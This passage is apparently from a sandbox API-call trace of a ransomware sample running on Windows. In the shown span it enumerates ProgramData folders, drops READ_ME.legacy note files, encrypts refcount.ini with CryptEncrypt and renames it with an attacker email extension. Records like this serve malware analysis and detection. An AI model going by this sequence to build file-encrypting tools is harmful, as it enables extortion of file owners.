Flags=0x0, Size=0x80) returned 0x559270 [0115.503] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ad0 | out: hHeap=0x520000) returned 1 [0115.503] GetLastError () returned 0x0 [0115.503] SetLastError (dwErrCode=0x0) [0115.503] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0115.503] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0115.503] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0115.503] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0115.503] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0115.503] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0115.503] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0115.503] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0115.503] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0115.503] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ba8 [0115.503] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.503] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ba8 | out: hHeap=0x520000) returned 1 [0115.504] GetLastError () returned 0x0 [0115.504] SetLastError (dwErrCode=0x0) [0115.504] GetLastError () returned 0x0 [0115.504] SetLastError (dwErrCode=0x0) [0115.504] GetLastError () returned 0x0 [0115.504] SetLastError (dwErrCode=0x0) [0115.504] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.504] CreateFileW (lpFileName="\\Users\\All Users\\Adobe\\ARM\\Reader_15.023.20070\\READ_ME.legacy" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_15.023.20070\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x63c [0115.505] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.505] WriteFile (in: hFile=0x63c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0115.506] CloseHandle (hObject=0x63c) returned 1 [0115.506] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.506] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0115.506] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0115.506] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0115.506] FindNextFileW (in: hFindFile=0x5c61d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd2d3e69d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2d3e69d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2d3e69d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0115.507] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0115.507] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x579028 [0115.507] GetLastError () returned 0x0 [0115.507] SetLastError (dwErrCode=0x0) [0115.507] GetLastError () returned 0x0 [0115.507] SetLastError (dwErrCode=0x0) [0115.507] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.507] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x579028 | out: hHeap=0x520000) returned 1 [0115.507] GetLastError () returned 0x0 [0115.507] SetLastError (dwErrCode=0x0) [0115.507] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0115.507] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0115.507] FindNextFileW (in: hFindFile=0x5c61d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="S", cAlternateFileName="")) returned 1 [0115.507] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.507] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578de8 [0115.508] GetLastError () returned 0x0 [0115.508] SetLastError (dwErrCode=0x0) [0115.508] GetLastError () returned 0x0 [0115.508] SetLastError (dwErrCode=0x0) [0115.508] GetLastError () returned 0x0 [0115.508] SetLastError (dwErrCode=0x0) [0115.508] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f50 [0115.508] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d668 [0115.508] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578b18 [0115.508] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0115.508] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0115.508] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x579070 [0115.508] GetLastError () returned 0x0 [0115.508] SetLastError (dwErrCode=0x0) [0115.508] GetLastError () returned 0x0 [0115.508] SetLastError (dwErrCode=0x0) [0115.508] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.508] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x579070 | out: hHeap=0x520000) returned 1 [0115.508] GetLastError () returned 0x0 [0115.508] SetLastError (dwErrCode=0x0) [0115.508] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0115.509] CreateFileW (lpFileName="\\Users\\All Users\\Adobe\\ARM\\S\\READ_ME.legacy" (normalized: "c:\\users\\all users\\adobe\\arm\\s\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x63c [0115.509] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0115.509] WriteFile (in: hFile=0x63c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0115.510] CloseHandle (hObject=0x63c) returned 1 [0115.510] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.510] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0115.510] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0115.510] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578b18 | out: hHeap=0x520000) returned 1 [0115.510] FindNextFileW (in: hFindFile=0x5c61d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="S", cAlternateFileName="")) returned 0 [0115.510] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0115.511] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a40 | out: hHeap=0x520000) returned 1 [0115.511] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0115.511] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c48 | out: hHeap=0x520000) returned 1 [0115.511] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Microsoft OneDrive\\setup\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xd2d8ac00, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6658 [0115.511] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578de8 | out: hHeap=0x520000) returned 1 [0115.511] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578cc8 [0115.511] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.511] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578cc8 | out: hHeap=0x520000) returned 1 [0115.511] GetLastError () returned 0x12 [0115.511] SetLastError (dwErrCode=0x12) [0115.511] GetLastError () returned 0x12 [0115.511] SetLastError (dwErrCode=0x12) [0115.511] GetLastError () returned 0x12 [0115.511] SetLastError (dwErrCode=0x12) [0115.511] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0115.511] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d5b0 [0115.511] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0115.511] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0115.511] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6698 [0115.511] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6698 | out: hHeap=0x520000) returned 1 [0115.512] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0115.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0115.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0115.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0115.512] FindNextFileW (in: hFindFile=0x5c6658, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xd2d8ac00, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0115.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.512] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f08 [0115.512] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f08 | out: hHeap=0x520000) returned 1 [0115.512] GetLastError () returned 0x12 [0115.512] SetLastError (dwErrCode=0x12) [0115.512] GetLastError () returned 0x12 [0115.512] SetLastError (dwErrCode=0x12) [0115.512] GetLastError () returned 0x12 [0115.512] SetLastError (dwErrCode=0x12) [0115.512] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0115.512] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0115.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0115.512] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0115.512] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6398 [0115.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6398 | out: hHeap=0x520000) returned 1 [0115.512] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20090 [0115.513] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0115.513] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0115.513] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0115.513] FindNextFileW (in: hFindFile=0x5c6658, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd2d8ac00, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2d8ac00, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2db0dbf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0115.513] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.513] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x579028 [0115.513] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.513] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x579028 | out: hHeap=0x520000) returned 1 [0115.513] GetLastError () returned 0x12 [0115.513] SetLastError (dwErrCode=0x12) [0115.513] GetLastError () returned 0x12 [0115.513] SetLastError (dwErrCode=0x12) [0115.513] GetLastError () returned 0x12 [0115.513] SetLastError (dwErrCode=0x12) [0115.513] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0115.513] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0115.513] FindNextFileW (in: hFindFile=0x5c6658, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe877edbb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="refcount.ini", cAlternateFileName="")) returned 1 [0115.513] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.513] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578fe0 [0115.513] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.513] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578fe0 | out: hHeap=0x520000) returned 1 [0115.513] GetLastError () returned 0x12 [0115.513] SetLastError (dwErrCode=0x12) [0115.513] GetLastError () returned 0x12 [0115.514] SetLastError (dwErrCode=0x12) [0115.514] GetLastError () returned 0x12 [0115.514] SetLastError (dwErrCode=0x12) [0115.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0115.514] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0115.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567508 [0115.514] FindNextFileW (in: hFindFile=0x5c6658, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe877edbb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="refcount.ini", cAlternateFileName="")) returned 0 [0115.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0115.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0115.514] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0115.514] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0115.514] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0115.514] SetFileAttributesW (lpFileName="\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini", dwFileAttributes=0x80) returned 1 [0115.515] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0115.515] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0115.515] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567a30 | out: hHeap=0x520000) returned 1 [0115.515] CreateFileW (lpFileName="\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini" (normalized: "c:\\users\\all users\\microsoft onedrive\\setup\\refcount.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x640 [0115.515] GetFileSizeEx (in: hFile=0x640, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0115.515] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c34b8 [0115.515] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c33c8 [0115.515] ReadFile (in: hFile=0x640, lpBuffer=0x5c34b8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0115.516] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.516] WriteFile (in: hFile=0x640, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0115.516] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0115.516] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0115.516] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0115.516] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.516] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.516] WriteFile (in: hFile=0x640, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.517] WriteFile (in: hFile=0x640, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.517] CloseHandle (hObject=0x640) returned 1 [0115.517] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0115.517] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0115.517] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini" (normalized: "c:\\users\\all users\\microsoft onedrive\\setup\\refcount.ini"), lpNewFileName="\\Users\\All Users\\Microsoft OneDrive\\setup\\refcount.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\microsoft onedrive\\setup\\refcount.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.519] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0115.519] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0115.519] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567508 | out: hHeap=0x520000) returned 1 [0115.519] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578da0 [0115.519] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0115.519] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0115.519] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d88 | out: hHeap=0x520000) returned 1 [0115.519] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Oracle\\Java\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd2db0dbf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6218 [0115.519] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.519] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0115.519] GetLastError () returned 0x0 [0115.519] SetLastError (dwErrCode=0x0) [0115.519] GetLastError () returned 0x0 [0115.520] SetLastError (dwErrCode=0x0) [0115.520] GetLastError () returned 0x0 [0115.520] SetLastError (dwErrCode=0x0) [0115.520] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0115.520] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0115.520] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0115.520] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0115.520] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6698 [0115.520] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6698 | out: hHeap=0x520000) returned 1 [0115.520] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0115.520] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0115.520] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0115.520] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0115.520] FindNextFileW (in: hFindFile=0x5c6218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd2db0dbf, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0115.520] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0115.520] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0115.521] GetLastError () returned 0x0 [0115.521] SetLastError (dwErrCode=0x0) [0115.521] GetLastError () returned 0x0 [0115.521] SetLastError (dwErrCode=0x0) [0115.521] GetLastError () returned 0x0 [0115.521] SetLastError (dwErrCode=0x0) [0115.521] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0115.521] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0115.521] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0115.521] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0115.521] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6698 [0115.521] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6698 | out: hHeap=0x520000) returned 1 [0115.521] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20258 [0115.521] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20258 | out: hHeap=0x520000) returned 1 [0115.521] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0115.521] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0115.521] FindNextFileW (in: hFindFile=0x5c6218, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xad19b2ee, 